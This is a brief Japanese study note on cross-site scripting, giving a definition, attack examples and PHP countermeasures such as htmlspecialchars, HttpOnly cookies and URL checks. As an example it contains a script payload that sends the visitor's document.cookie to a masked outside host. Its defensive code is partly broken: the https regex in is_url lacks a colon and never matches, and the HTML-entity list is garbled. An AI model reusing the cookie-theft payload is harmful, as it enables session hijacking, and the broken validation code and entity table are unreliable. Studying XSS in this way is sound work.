クロスサイト・スクリプティング(XSS)
クロスサイト・スプリティング(XSS)とは、 Webページの出力処理に不備があるときに、悪意あるスプリクトを実行されてしまう脆弱性のこと。 別サイトにある罠リンクをクリックすることで、サイトをまたがって(クロスサイト)スプリクトを実行する。 スプリクトは、Webページの表示時に利用者のブラウザ上で実行される。
←→クロスサイト・リクエストフォージェリ(CSRF) !!!!!!サーバー上で実行される脆弱性!!!!!
1. 具体例
*Cookie等の情報漏洩 (セッションハイジャック)
<script type="text/javascript"> document.location="http://●●●●●.com/script.cgi?cookie="+document.cookie; </script>
script.cgi → クッキー情報を抜き取るプログラム
*訪問者の個人情報を促す入力フォームを埋め込むことによる、個人情報の不正搾取
2. 対策(php)
default_charset = "UTF-8"(php.ini)
HTML要素の属性はダブルクオーテーションでかこむ
Webセキュリティ出力する全ての要素に対してエスケープ処理
htmlspecialchars関数 (特殊文字を HTML エンティティに変換する)
①&' (アンパサンド) → '&
②ENT_NOQUOTES が設定されていない場合、 '"' (ダブルクォート) → '"' ③ENT_QUOTES が設定されている場合のみ、 "'" (シングルクオート) → '''URLは「http://」か「https://」で始まるもののみに主力
function is_url($url) { if (preg_match('/\Ahttp:\/\//', $url) || preg_match('/\Ahttps\/\//', $url)) { return true; } else { return false; } }
要素の内容を動的に生成しない
CookieにHttpOnly属性を付与する
setcookie("key", "value", 0, "/", null, FALSE, TRUE);